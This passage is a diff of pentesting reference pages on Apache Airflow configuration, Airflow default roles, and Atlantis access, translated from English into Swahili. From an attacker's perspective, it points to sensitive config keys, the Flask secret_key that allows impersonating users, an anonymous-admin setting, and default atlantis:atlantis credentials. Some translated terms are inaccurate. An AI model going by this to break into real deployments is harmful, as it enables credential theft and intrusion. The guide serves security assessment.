a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -4,112 +4,102 @@ ## Configuration File -**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.** +**Apache Airflow** inazalisha **config file** katika mashine zote za airflow inayoitwa **`airflow.cfg`** katika nyumbani ya mtumiaji wa airflow. Faili hii ya config ina taarifa za usanidi na **inaweza kuwa na taarifa za kuvutia na nyeti.** -**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.** +**Kuna njia mbili za kufikia faili hii: Kwa kuathiri mashine fulani ya airflow, au kwa kufikia console ya wavuti.** -Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +Kumbuka kwamba **maadili ndani ya faili ya config** **yanaweza kuwa si yale yanayotumika**, kwani unaweza kuyabadilisha kwa kuweka mabadiliko ya mazingira kama `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. -If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\ -If you have **access to some machine inside the airflow env**, check the **environment**. +Ikiwa una ufikiaji wa **faili ya config katika seva ya wavuti**, unaweza kuangalia **usanidi halisi unaoendelea** katika ukurasa huo ambapo config inaonyeshwa.\ +Ikiwa una **ufikiaji wa mashine fulani ndani ya mazingira ya airflow**, angalia **mazingira**. -Some interesting values to check when reading the config file: +Baadhi ya maadili ya kuvutia ya kuangalia unapokuwa unaisoma faili ya config: ### \[api] -- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS** -- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS** -- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS** -- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API: - - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API - - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication - - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication** - - `airflow.api.auth.backend.basic_auth`: For **basic authentication** - - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)). - - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default). - - You can also **create you own authentication** method with python. -- **`google_key_path`:** Path to the **GCP service account key** +- **`access_control_allow_headers`**: Hii inaonyesha **headers** **zinazoruhusiwa** kwa **CORS** +- **`access_control_allow_methods`**: Hii inaonyesha **mbinu** **zinazoruhusiwa** kwa **CORS** +- **`access_control_allow_origins`**: Hii inaonyesha **michango** **zinazoruhusiwa** kwa **CORS** +- **`auth_backend`**: [**Kulingana na nyaraka**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) chaguzi chache zinaweza kuwekwa ili kuunda nani anaweza kufikia API: +- `airflow.api.auth.backend.deny_all`: **Kwa default hakuna** anayeweza kufikia API +- `airflow.api.auth.backend.default`: **Kila mtu anaweza** kuifikia bila uthibitisho +- `airflow.api.auth.backend.kerberos_auth`: Ili kuunda **uthibitisho wa kerberos** +- `airflow.api.auth.backend.basic_auth`: Kwa **uthibitisho wa msingi** +- `airflow.composer.api.backend.composer_auth`: Inatumia uthibitisho wa waandishi (GCP) (kutoka [**hapa**](https://cloud.google.com/composer/docs/access-airflow-api)). +- `composer_auth_user_registration_role`: Hii inaonyesha **nafasi** ambayo **mtumiaji wa composer** atapata ndani ya **airflow** (**Op** kwa default). +- Unaweza pia **kuunda njia yako ya uthibitisho** kwa kutumia python. +- **`google_key_path`:** Njia ya **GCP service account key** ### **\[atlas]** -- **`password`**: Atlas password -- **`username`**: Atlas username +- **`password`**: Neno la siri la Atlas +- **`username`**: Jina la mtumiaji la Atlas ### \[celery] -- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_) -- **`result_backend`**: Postgres url which may contain **credentials**. -- **`ssl_cacert`**: Path to the cacert -- **`ssl_cert`**: Path to the cert -- **`ssl_key`**: Path to the key +- **`flower_basic_auth`** : Taarifa za kuingia (_user1:password1,user2:password2_) +- **`result_backend`**: URL ya Postgres ambayo inaweza kuwa na **taarifa za kuingia**. +- **`ssl_cacert`**: Njia ya cacert +- **`ssl_cert`**: Njia ya cheti +- **`ssl_key`**: Njia ya ufunguo ### \[core] -- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that donā€™t contain the strings `DAG` and `airflow`. -- **`fernet_key`**: Key to store encrypted variables (symmetric) -- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections. -- **`security`**: What security module to use (for example kerberos) +- **`dag_discovery_safe_mode`**: Imewezeshwa kwa default. Wakati wa kugundua DAGs, puuza faili zozote ambazo hazina nyuzi `DAG` na `airflow`. +- **`fernet_key`**: Ufunguzi wa kuhifadhi mabadiliko yaliyosimbwa (symmetric) +- **`hide_sensitive_var_conn_fields`**: Imewezeshwa kwa default, ficha taarifa nyeti za muunganisho. +- **`security`**: Moduli gani ya usalama itumike (kwa mfano kerberos) ### \[dask] -- **`tls_ca`**: Path to ca -- **`tls_cert`**: Part to the cert -- **`tls_key`**: Part to the tls key +- **`tls_ca`**: Njia ya ca +- **`tls_cert`**: Njia ya cheti +- **`tls_key`**: Njia ya ufunguo wa tls ### \[kerberos] -- **`ccache`**: Path to ccache file -- **`forwardable`**: Enabled by default +- **`ccache`**: Njia ya faili ya ccache +- **`forwardable`**: Imewezeshwa kwa default ### \[logging] -- **`google_key_path`**: Path to GCP JSON creds. +- **`google_key_path`**: Njia ya GCP JSON creds. ### \[secrets] -- **`backend`**: Full class name of secrets backend to enable -- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class. +- **`backend`**: Jina kamili la darasa la nyuma la siri ili kuwezesha +- **`backend_kwargs`**: Param ya backend_kwargs inasomwa katika kamusi na kupitishwa kwa **init** ya darasa la nyuma la siri. ### \[smtp] -- **`smtp_password`**: SMTP password -- **`smtp_user`**: SMTP user +- **`smtp_password`**: Neno la siri la SMTP +- **`smtp_user`**: Mtumiaji wa SMTP ### \[webserver] -- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value -- **`cookie_secure`**: Set **secure flag** on the the session cookie -- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console** -- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker) -- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**) -- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert** -- **`web_server_ssl_key`**: **Path** to the **SSL** **Key** -- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible +- **`cookie_samesite`**: Kwa default ni **Lax**, hivyo tayari ni thamani dhaifu zaidi +- **`cookie_secure`**: Weka **bendera salama** kwenye cookie ya kikao +- **`expose_config`**: Kwa default ni False, ikiwa ni kweli, **config** inaweza **kusomwa** kutoka kwa **console** ya wavuti +- **`expose_stacktrace`**: Kwa default ni Kweli, itaonyesha **python tracebacks** (inaweza kuwa na manufaa kwa mshambuliaji) +- **`secret_key`**: Hii ni **ufunguo unaotumiwa na flask kusaini cookies** (ikiwa una hii unaweza **kujifanya kuwa mtumiaji yeyote katika Airflow**) +- **`web_server_ssl_cert`**: **Njia** ya **SSL** **cheti** +- **`web_server_ssl_key`**: **Njia** ya **SSL** **Key** +- **`x_frame_enabled`**: Default ni **True**, hivyo kwa default clickjacking haiwezekani ### Web Authentication -By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as - +Kwa default **uthibitisho wa wavuti** umeainishwa katika faili **`webserver_config.py`** na umewekwa kama ```bash AUTH_TYPE = AUTH_DB ``` - -Which means that the **authentication is checked against the database**. However, other configurations are possible like - +Ambayo inamaanisha kwamba **uthibitishaji unakaguliwa dhidi ya hifadhidata**. Hata hivyo, usanidi mwingine unaweza kuwa kama ```bash AUTH_TYPE = AUTH_OAUTH ``` +Ili kuacha **uthibitishaji kwa huduma za upande wa tatu**. -To leave the **authentication to third party services**. - -However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**: - +Hata hivyo, kuna chaguo pia la **kuruhusu watumiaji wasiojulikana kuingia**, kuweka parameter ifuatayo kwa **jukumu lililotakikana**: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 7ff782327..273177f25 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,44 +4,40 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles. +(Kutoka kwenye nyaraka)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow inakuja na **seti ya majukumu kwa default**: **Admin**, **User**, **Op**, **Viewer**, na **Public**. **Ni `Admin` tu** watumiaji wanaweza **kuunda/kubadilisha ruhusa za majukumu mengine**. Lakini haipendekezwi kwa watumiaji wa `Admin` kubadilisha majukumu haya ya default kwa njia yoyote kwa kuondoa au kuongeza ruhusa kwa majukumu haya. -- **`Admin`** users have all possible permissions. -- **`Public`** users (anonymous) donā€™t have any permissions. -- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.** -- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file** -- **`Op`** users have `User` permissions plus additional op permissions. +- **`Admin`** watumiaji wana ruhusa zote zinazowezekana. +- **`Public`** watumiaji (wasiojulikana) hawana ruhusa yoyote. +- **`Viewer`** watumiaji wana ruhusa za mtazamaji zilizo na mipaka (kusoma tu). **Haiwezi kuona usanidi.** +- **`User`** watumiaji wana ruhusa za `Viewer` pamoja na ruhusa za ziada za mtumiaji zinazomruhusu kusimamia DAGs kidogo. Anaweza **kuona faili ya usanidi** +- **`Op`** watumiaji wana ruhusa za `User` pamoja na ruhusa za ziada za op. -Note that **admin** users can **create more roles** with more **granular permissions**. +Kumbuka kwamba **watumiaji wa admin** wanaweza **kuunda majukumu zaidi** yenye **ruhusa za kina**. -Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that. +Pia kumbuka kwamba jukumu pekee la default lenye **ruhusa ya kuorodhesha watumiaji na majukumu ni Admin, hata `Op` hataweza kufanya hivyo.** -### Default Permissions +### Ruhusa za Default -These are the default permissions per default role: +Hizi ndizo ruhusa za default kwa kila jukumu la default: - **Admin** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs] +\[anaweza kufuta kwenye Connections, anaweza kusoma kwenye Connections, anaweza kuhariri kwenye Connections, anaweza kuunda kwenye Connections, anaweza kusoma kwenye DAGs, anaweza kuhariri kwenye DAGs, anaweza kufuta kwenye DAGs, anaweza kusoma kwenye DAG Runs, anaweza kusoma kwenye Task Instances, anaweza kuhariri kwenye Task Instances, anaweza kufuta kwenye DAG Runs, anaweza kuunda kwenye DAG Runs, anaweza kuhariri kwenye DAG Runs, anaweza kusoma kwenye Audit Logs, anaweza kusoma kwenye ImportError, anaweza kufuta kwenye Pools, anaweza kusoma kwenye Pools, anaweza kuhariri kwenye Pools, anaweza kuunda kwenye Pools, anaweza kusoma kwenye Providers, anaweza kufuta kwenye Variables, anaweza kusoma kwenye Variables, anaweza kuhariri kwenye Variables, anaweza kuunda kwenye Variables, anaweza kusoma kwenye XComs, anaweza kusoma kwenye DAG Code, anaweza kusoma kwenye Configurations, anaweza kusoma kwenye Plugins, anaweza kusoma kwenye Roles, anaweza kusoma kwenye Permissions, anaweza kufuta kwenye Roles, anaweza kuhariri kwenye Roles, anaweza kuunda kwenye Roles, anaweza kusoma kwenye Users, anaweza kuunda kwenye Users, anaweza kuhariri kwenye Users, anaweza kufuta kwenye Users, anaweza kusoma kwenye DAG Dependencies, anaweza kusoma kwenye Jobs, anaweza kusoma kwenye My Password, anaweza kuhariri kwenye My Password, anaweza kusoma kwenye My Profile, anaweza kuhariri kwenye My Profile, anaweza kusoma kwenye SLA Misses, anaweza kusoma kwenye Task Logs, anaweza kusoma kwenye Website, ufikiaji wa menyu kwenye Browse, ufikiaji wa menyu kwenye DAG Dependencies, ufikiaji wa menyu kwenye DAG Runs, ufikiaji wa menyu kwenye Documentation, ufikiaji wa menyu kwenye Docs, ufikiaji wa menyu kwenye Jobs, ufikiaji wa menyu kwenye Audit Logs, ufikiaji wa menyu kwenye Plugins, ufikiaji wa menyu kwenye SLA Misses, ufikiaji wa menyu kwenye Task Instances, anaweza kuunda kwenye Task Instances, anaweza kufuta kwenye Task Instances, ufikiaji wa menyu kwenye Admin, ufikiaji wa menyu kwenye Configurations, ufikiaji wa menyu kwenye Connections, ufikiaji wa menyu kwenye Pools, ufikiaji wa menyu kwenye Variables, ufikiaji wa menyu kwenye XComs, anaweza kufuta kwenye XComs, anaweza kusoma kwenye Task Reschedules, ufikiaji wa menyu kwenye Task Reschedules, anaweza kusoma kwenye Triggers, ufikiaji wa menyu kwenye Triggers, anaweza kusoma kwenye Passwords, anaweza kuhariri kwenye Passwords, ufikiaji wa menyu kwenye List Users, ufikiaji wa menyu kwenye Security, ufikiaji wa menyu kwenye List Roles, anaweza kusoma kwenye User Stats Chart, ufikiaji wa menyu kwenye User's Statistics, ufikiaji wa menyu kwenye Base Permissions, anaweza kusoma kwenye View Menus, ufikiaji wa menyu kwenye Views/Menus, anaweza kusoma kwenye Permission Views, ufikiaji wa menyu kwenye Permission on Views/Menus, anaweza kupata kwenye MenuApi, ufikiaji wa menyu kwenye Providers, anaweza kuunda kwenye XComs] - **Op** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs] +\[anaweza kufuta kwenye Connections, anaweza kusoma kwenye Connections, anaweza kuhariri kwenye Connections, anaweza kuunda kwenye Connections, anaweza kusoma kwenye DAGs, anaweza kuhariri kwenye DAGs, anaweza kufuta kwenye DAGs, anaweza kusoma kwenye DAG Runs, anaweza kusoma kwenye Task Instances, anaweza kuhariri kwenye Task Instances, anaweza kufuta kwenye DAG Runs, anaweza kuunda kwenye DAG Runs, anaweza kuhariri kwenye DAG Runs, anaweza kusoma kwenye Audit Logs, anaweza kusoma kwenye ImportError, anaweza kufuta kwenye Pools, anaweza kusoma kwenye Pools, anaweza kuhariri kwenye Pools, anaweza kuunda kwenye Pools, anaweza kusoma kwenye Providers, anaweza kufuta kwenye Variables, anaweza kusoma kwenye Variables, anaweza kuhariri kwenye Variables, anaweza kuunda kwenye Variables, anaweza kusoma kwenye XComs, anaweza kusoma kwenye DAG Code, anaweza kusoma kwenye Configurations, anaweza kusoma kwenye Plugins, anaweza kusoma kwenye DAG Dependencies, anaweza kusoma kwenye Jobs, anaweza kusoma kwenye My Password, anaweza kuhariri kwenye My Password, anaweza kusoma kwenye My Profile, anaweza kuhariri kwenye My Profile, anaweza kusoma kwenye SLA Misses, anaweza kusoma kwenye Task Logs, anaweza kusoma kwenye Website, ufikiaji wa menyu kwenye Browse, ufikiaji wa menyu kwenye DAG Dependencies, ufikiaji wa menyu kwenye DAG Runs, ufikiaji wa menyu kwenye Documentation, ufikiaji wa menyu kwenye Docs, ufikiaji wa menyu kwenye Jobs, ufikiaji wa menyu kwenye Audit Logs, ufikiaji wa menyu kwenye Plugins, ufikiaji wa menyu kwenye SLA Misses, ufikiaji wa menyu kwenye Task Instances, anaweza kuunda kwenye Task Instances, anaweza kufuta kwenye Task Instances, ufikiaji wa menyu kwenye Admin, ufikiaji wa menyu kwenye Configurations, ufikiaji wa menyu kwenye Connections, ufikiaji wa menyu kwenye Pools, ufikiaji wa menyu kwenye Variables, ufikiaji wa menyu kwenye XComs, anaweza kufuta kwenye XComs] - **User** -\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances] +\[anaweza kusoma kwenye DAGs, anaweza kuhariri kwenye DAGs, anaweza kufuta kwenye DAGs, anaweza kusoma kwenye DAG Runs, anaweza kusoma kwenye Task Instances, anaweza kuhariri kwenye Task Instances, anaweza kufuta kwenye DAG Runs, anaweza kuunda kwenye DAG Runs, anaweza kuhariri kwenye DAG Runs, anaweza kusoma kwenye Audit Logs, anaweza kusoma kwenye ImportError, anaweza kusoma kwenye XComs, anaweza kusoma kwenye DAG Code, anaweza kusoma kwenye Plugins, anaweza kusoma kwenye DAG Dependencies, anaweza kusoma kwenye Jobs, anaweza kusoma kwenye My Password, anaweza kuhariri kwenye My Password, anaweza kusoma kwenye My Profile, anaweza kuhariri kwenye My Profile, anaweza kusoma kwenye SLA Misses, anaweza kusoma kwenye Task Logs, anaweza kusoma kwenye Website, ufikiaji wa menyu kwenye Browse, ufikiaji wa menyu kwenye DAG Dependencies, ufikiaji wa menyu kwenye DAG Runs, ufikiaji wa menyu kwenye Documentation, ufikiaji wa menyu kwenye Docs, ufikiaji wa menyu kwenye Jobs, ufikiaji wa menyu kwenye Audit Logs, ufikiaji wa menyu kwenye Plugins, ufikiaji wa menyu kwenye SLA Misses, ufikiaji wa menyu kwenye Task Instances, anaweza kuunda kwenye Task Instances, anaweza kufuta kwenye Task Instances] - **Viewer** -\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances] +\[anaweza kusoma kwenye DAGs, anaweza kusoma kwenye DAG Runs, anaweza kusoma kwenye Task Instances, anaweza kusoma kwenye Audit Logs, anaweza kusoma kwenye ImportError, anaweza kusoma kwenye XComs, anaweza kusoma kwenye DAG Code, anaweza kusoma kwenye Plugins, anaweza kusoma kwenye DAG Dependencies, anaweza kusoma kwenye Jobs, anaweza kusoma kwenye My Password, anaweza kuhariri kwenye My Password, anaweza kusoma kwenye My Profile, anaweza kuhariri kwenye My Profile, anaweza kusoma kwenye SLA Misses, anaweza kusoma kwenye Task Logs, anaweza kusoma kwenye Website, ufikiaji wa menyu kwenye Browse, ufikiaji wa menyu kwenye DAG Dependencies, ufikiaji wa menyu kwenye DAG Runs, ufikiaji wa menyu kwenye Documentation, ufikiaji wa menyu kwenye Docs, ufikiaji wa menyu kwenye Jobs, ufikiaji wa menyu kwenye Audit Logs, ufikiaji wa menyu kwenye Plugins, ufikiaji wa menyu kwenye SLA Misses, ufikiaji wa menyu kwenye Task Instances] - **Public** \[] {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index a4b35140f..9333d4c16 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -4,109 +4,109 @@ ### Basic Information -Atlantis basically helps you to to run terraform from Pull Requests from your git server. +Atlantis kimsingi inakusaidia kuendesha terraform kutoka kwa Pull Requests kutoka kwa seva yako ya git. ![](<../images/image (161).png>) ### Local Lab -1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. -2. Create a **personal token** (with repo access) of your **github** user -3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** - 1. You can access the web page in 127.0.0.1:4141 +1. Nenda kwenye **ukurasa wa toleo la atlantis** katika [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) na **pakua** ile inayokufaa. +2. Unda **token ya kibinafsi** (ikiwa na ufikiaji wa repo) ya mtumiaji wako wa **github** +3. Tekeleza `./atlantis testdrive` na itaunda **demo repo** ambayo unaweza kutumia ku **zungumza na atlantis** +1. Unaweza kufikia ukurasa wa wavuti katika 127.0.0.1:4141 ### Atlantis Access #### Git Server Credentials -**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\ -However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ -[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts. +**Atlantis** inasaidia wenyeji kadhaa wa git kama **Github**, **Gitlab**, **Bitbucket** na **Azure DevOps**.\ +Hata hivyo, ili kufikia repos katika majukwaa hayo na kufanya vitendo, inahitaji kuwa na **ufikiaji wa kibali uliopewa** (angalau ruhusa za kuandika).\ +[**Nyaraka**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) zinahimiza kuunda mtumiaji katika majukwaa haya mahsusi kwa Atlantis, lakini watu wengine wanaweza kutumia akaunti za kibinafsi. > [!WARNING] -> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. +> Katika hali yoyote, kutoka kwa mtazamo wa washambuliaji, **akaunti ya Atlantis** itakuwa moja ya **ya kuvutia** **kuvunjwa**. #### Webhooks -Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. +Atlantis inatumia kwa hiari [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) kuthibitisha kwamba **webhooks** inazopokea kutoka kwa mwenyeji wako wa Git ni **halali**. -One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret. +Njia moja ya kuthibitisha hii ingekuwa **kuruhusu maombi kuja tu kutoka kwa IPs** za mwenyeji wako wa Git lakini njia rahisi ni kutumia Webhook Secret. -Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet. +Kumbuka kwamba isipokuwa unatumia seva ya github au bitbucket ya kibinafsi, utahitaji kufichua mwisho wa webhook kwa Mtandao. > [!WARNING] -> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. +> Atlantis itakuwa **ikifichua webhooks** ili seva ya git iweze kutuma habari. Kutoka kwa mtazamo wa washambuliaji itakuwa ya kuvutia kujua **kama unaweza kutuma ujumbe**. #### Provider Credentials -[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) +[Kutoka kwenye nyaraka:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. +Atlantis inafanya Terraform kwa kuendesha tu **amri `terraform plan` na `apply`** kwenye seva **ambayo Atlantis inahifadhiwa**. Kama unavyofanya Terraform kwa ndani, Atlantis inahitaji akreditif za mtoa huduma wako maalum. -It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis: +Ni juu yako jinsi unavyoweza [kutoa akreditif](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) kwa mtoa huduma wako maalum kwa Atlantis: -- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs. -- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: - - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") - - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. -- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. -- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. +- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) na [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) zina mifumo yao wenyewe ya akreditif za mtoa huduma. Soma nyaraka zao. +- Ikiwa unafanya kazi na Atlantis katika wingu basi mawingu mengi yana njia za kutoa ufikiaji wa API ya wingu kwa programu zinazofanya kazi ndani yao, mfano: +- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Tafuta "EC2 Role") +- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- Watumiaji wengi huweka mabadiliko ya mazingira, mfano. `AWS_ACCESS_KEY`, ambapo Atlantis inafanya kazi. +- Wengine huunda faili za usanidi zinazohitajika, mfano. `~/.aws/credentials`, ambapo Atlantis inafanya kazi. +- Tumia [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) kupata akreditif za mtoa huduma. > [!WARNING] -> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. +> **Container** ambapo **Atlantis** inafanya **kazi** itakuwa na uwezekano mkubwa **kuhifadhi akreditif za kibali** kwa watoa huduma (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform. #### Web Page -By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). +Kwa kawaida Atlantis itafanya kazi **ukurasa wa wavuti katika bandari 4141 kwenye localhost**. Ukurasa huu unaruhusu tu kuwezesha/kuzima atlantis apply na kuangalia hali ya mpango wa repos na kuziweka wazi (hauruhusu kubadilisha mambo, hivyo si ya manufaa sana). -You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). +Huenda usiione ikifichuliwa kwa mtandao, lakini inaonekana kwa kawaida **hakuna akreditif zinazohitajika** kuifikia (na ikiwa zipo `atlantis`:`atlantis` ndio **za kawaida**). ### Server Configuration -Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. +Usanidi wa `atlantis server` unaweza kuainishwa kupitia bendera za mistari ya amri, mabadiliko ya mazingira, faili ya usanidi au mchanganyiko wa tatu. -- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server -- You can find [**here how to transform a config option into an env 